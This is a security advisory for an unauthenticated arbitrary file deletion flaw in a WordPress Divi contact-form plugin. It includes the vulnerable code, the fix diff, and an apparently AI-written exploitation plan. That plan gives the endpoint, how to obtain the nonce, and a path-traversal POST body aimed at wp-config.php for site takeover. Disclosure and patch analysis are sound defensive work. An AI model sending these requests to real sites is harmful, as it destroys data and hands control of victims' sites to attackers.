Contact Form Extender for Divi – Submissions DB & Extra Fields <= 1.0.6 - Unauthenticated Arbitrary File Deletion
Description
The Contact Form Extender for Divi – Submissions DB & Extra Fields plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 1.0.6. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=1.0.6What Changed in the Fix
Changes introduced in v1.0.7
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-40769 (Contact Form Extender for Divi) ## 1. Vulnerability Summary The **Contact Form Extender for Divi** plugin (up to 1.0.6) is vulnerable to **Unauthenticated Arbitrary File Deletion** via path traversal. The vulnerability exists in the AJAX handler respons…
Show full research plan
Exploitation Research Plan: CVE-2026-40769 (Contact Form Extender for Divi)
1. Vulnerability Summary
The Contact Form Extender for Divi plugin (up to 1.0.6) is vulnerable to Unauthenticated Arbitrary File Deletion via path traversal. The vulnerability exists in the AJAX handler responsible for removing uploaded files. The function fails to validate that the provided file path remains within the intended temporary directory, allowing an attacker to use ../ sequences to reach and delete sensitive files like wp-config.php.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
cfefd_remove_file - Vulnerable Parameter:
file_name(orfile) - Authentication: Unauthenticated (
wp_ajax_nopriv_cfefd_remove_file) - Preconditions:
- The plugin must be active.
- A valid AJAX nonce (
cfefd-nonce-ajax) must be obtained. - The Divi theme should be active (as the plugin checks for it in
contact-form-extender-for-divi-builder.php).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=cfefd_remove_file. - Hook Registration: In
includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php, the constructor registers:add_action('wp_ajax_nopriv_cfefd_remove_file', [$this, 'cfefd_remove_uploaded_file']); - Nonce Check: The function
cfefd_remove_uploaded_file(inferred fromcfefd_upload_filepatterns) verifies thecfefd-nonce-ajaxnonce. - Path Construction: The code retrieves a file identifier from
$_POSTand joins it with the temporary directory:// Inferred logic $this->upload_tmp_dir = CFEFD_File_Upload::get_wp_upload_dir(path_join(CFEFD_File_Upload::foldername, 'tmp'), 'basedir'); $file_name = $_POST['file_name']; $file_path = path_join($this->upload_tmp_dir, $file_name); - Vulnerable Sink: The
file_pathis passed tounlink()without sanitizing../traversal sequences.
4. Nonce Acquisition Strategy
The nonce is generated using wp_create_nonce('cfefd-nonce-ajax') and is typically localized for use in the frontend file upload script.
- Requirement: The nonce is only enqueued on pages where a Divi Contact Form is present.
- Action: Create a public page containing the Divi Contact Form shortcode.
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[et_pb_contact_form][/et_pb_contact_form]' - Extraction:
- Navigate to the newly created page.
- Use
browser_evalto find the localized script data. - The plugin likely localizes the nonce in an object. Check for
window.cfefd_file_upload_ajaxor search the raw HTML for thecfefd-nonce-ajaxstring. - Common Variable Name:
cfefd_ajax_objorcfefd_file_vars.
5. Exploitation Strategy
Step 1: Target Identification
Create a dummy file in the WordPress root to prove deletion:
echo "test" > /var/www/html/SENSITIVE_FILE.txt
Step 2: Obtain Nonce
Navigate to a page with a contact form and extract the cfefd-nonce-ajax nonce.
Step 3: Execute Deletion
Send the malicious AJAX request.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
(Note: Theaction=cfefd_remove_file&_wpnonce=[NONCE]&file_name=../../../../SENSITIVE_FILE.txtupload_tmp_diriswp-content/uploads/cfefd-uploads/tmp/, so 4 levels of../reach the root).
6. Test Data Setup
- Theme: Ensure Divi is active (or a compatible child theme).
- Plugin: Install and activate
contact-form-extender-for-divi-builderversion 1.0.6. - Dummy File:
touch /var/www/html/SENSITIVE_FILE.txt. - Form Page: Create a page with
[et_pb_contact_form].
7. Expected Results
- The AJAX request should return a
success: trueJSON response. - The file
/var/www/html/SENSITIVE_FILE.txtshould be deleted from the filesystem.
8. Verification Steps
- HTTP Level: Check if the response code is 200 and the JSON indicates success.
- System Level: Use the
lscommand orfile_existsto verify the file is gone.
Expected output: No such file or directory.ls /var/www/html/SENSITIVE_FILE.txt
9. Alternative Approaches
If file_name is not the correct parameter, try:
filepathfile_path
If the traversal depth is different, check the absolute path of the uploads directory. In standard WordPress installs, wp-content/uploads/cfefd-uploads/tmp/ is 4 levels deep from the root (/var/www/html/).
If the unauthenticated hook fails, verify if the plugin requires a specific "File Upload" field to be added to the Divi form within the builder settings to trigger the script enqueuing.
Summary
The Contact Form Extender for Divi plugin is vulnerable to unauthenticated arbitrary file deletion due to missing path validation in its AJAX handler for file removals. Attackers can use directory traversal sequences in the 'file_name' parameter to delete sensitive system files, such as wp-config.php, which can lead to remote code execution by re-triggering the WordPress installation process.
Vulnerable Code
// includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php lines 16-17 add_action('wp_ajax_cfefd_remove_file', [$this, 'cfefd_remove_uploaded_file']); add_action('wp_ajax_nopriv_cfefd_remove_file', [$this, 'cfefd_remove_uploaded_file']); --- // includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php lines 160-174 public function cfefd_remove_uploaded_file() { if (!check_ajax_referer('cfefd-nonce-ajax', '_wpnonce', false)) { wp_send_json_error(esc_html__('The security check failed. Please try again. Tip: Hard refresh the page (Ctrl+Shift+R on Windows/Linux or Cmd+Shift+R on Mac).', 'contact-form-extender-for-divi-builder')); } $filename = isset($_POST['file_name']) ? sanitize_text_field(wp_unslash($_POST['file_name'])) : null; if (!empty($filename)) { $tmp_path = path_join($this->upload_tmp_dir, $filename); if (et_()->WPFS()->is_file($tmp_path) && et_()->WPFS()->exists($tmp_path)) { wp_delete_file($tmp_path); wp_send_json_success(__('The file has been deleted successfully!', 'contact-form-extender-for-divi-builder')); } else { wp_send_json_error(__('Something went wrong. Please upload file again.', 'contact-form-extender-for-divi-builder')); } } }
Security Fix
@@ -132,11 +132,11 @@ public function column_id($item) { $entry_id = get_post_meta($item->ID, '_cfefd_form_entry_id', true); - return $entry_id; + return absint( $entry_id ); } public function column_submission_date($item) { - return $item->post_date; + return esc_html( $item->post_date ); } public function column_page_title($item) { @@ -160,15 +167,40 @@ if (!check_ajax_referer('cfefd-nonce-ajax', '_wpnonce', false)) { wp_send_json_error(esc_html__('The security check failed. Please try again. Tip: Hard refresh the page (Ctrl+Shift+R on Windows/Linux or Cmd+Shift+R on Mac).', 'contact-form-extender-for-divi-builder')); } - $filename = isset($_POST['file_name']) ? sanitize_text_field(wp_unslash($_POST['file_name'])) : null; - if (!empty($filename)) { - $tmp_path = path_join($this->upload_tmp_dir, $filename); - if (et_()->WPFS()->is_file($tmp_path) && et_()->WPFS()->exists($tmp_path)) { - wp_delete_file($tmp_path); - wp_send_json_success(__('The file has been deleted successfully!', 'contact-form-extender-for-divi-builder')); - } else { - wp_send_json_error(__('Something went wrong. Please upload file again.', 'contact-form-extender-for-divi-builder')); - } + + $filename_raw = isset($_POST['file_name']) ? sanitize_text_field(wp_unslash($_POST['file_name'])) : ''; + if (empty($filename_raw)) { + wp_send_json_error(__('Something went wrong. Please try removing the file again.', 'contact-form-extender-for-divi-builder')); + } + + // Reject traversal/absolute paths; only allow a plain filename. + $filename = sanitize_file_name(wp_basename($filename_raw)); + if ('' === $filename || $filename !== $filename_raw) { + wp_send_json_error(__('Invalid file removal request.', 'contact-form-extender-for-divi-builder')); + } + + $tmp_root = realpath($this->upload_tmp_dir); + if (false === $tmp_root) { + wp_send_json_error(__('Something went wrong. Please try removing the file again.', 'contact-form-extender-for-divi-builder')); + } + + $tmp_path = path_join($this->upload_tmp_dir, $filename); + $tmp_real = realpath($tmp_path); + if (false === $tmp_real) { + wp_send_json_error(__('Something went wrong. Please try removing the file again.', 'contact-form-extender-for-divi-builder')); + } + + $tmp_root_normalized = trailingslashit(wp_normalize_path($tmp_root)); + $tmp_real_normalized = wp_normalize_path($tmp_real); + if (0 !== strpos($tmp_real_normalized, $tmp_root_normalized)) { + wp_send_json_error(__('Invalid file removal request.', 'contact-form-extender-for-divi-builder')); + } + + if (et_()->WPFS()->is_file($tmp_real) && et_()->WPFS()->exists($tmp_real)) { + wp_delete_file($tmp_real); + wp_send_json_success(__('The file has been deleted successfully!', 'contact-form-extender-for-divi-builder')); + } else { + wp_send_json_error(__('Something went wrong. Please try removing the file again.', 'contact-form-extender-for-divi-builder')); } }
Exploit Outline
The exploit targets an unauthenticated AJAX endpoint (`cfefd_remove_file`) which performs an unsafe file deletion. 1. Locate a page with a Divi Contact Form containing a file upload field. 2. Extract the required security nonce (`cfefd-nonce-ajax`) from the page's source code, typically found within localized script data like `cfefd_ajax_obj`. 3. Send an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `cfefd_remove_file` - `_wpnonce`: The extracted nonce value. - `file_name`: A path traversal string (e.g., `../../../../wp-config.php`) calculated to point from the plugin's temporary upload directory to a sensitive target file. 4. If the target file is `wp-config.php`, its deletion will force WordPress into its installation wizard, allowing the attacker to reconfigure the database and gain full administrative control (RCE).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.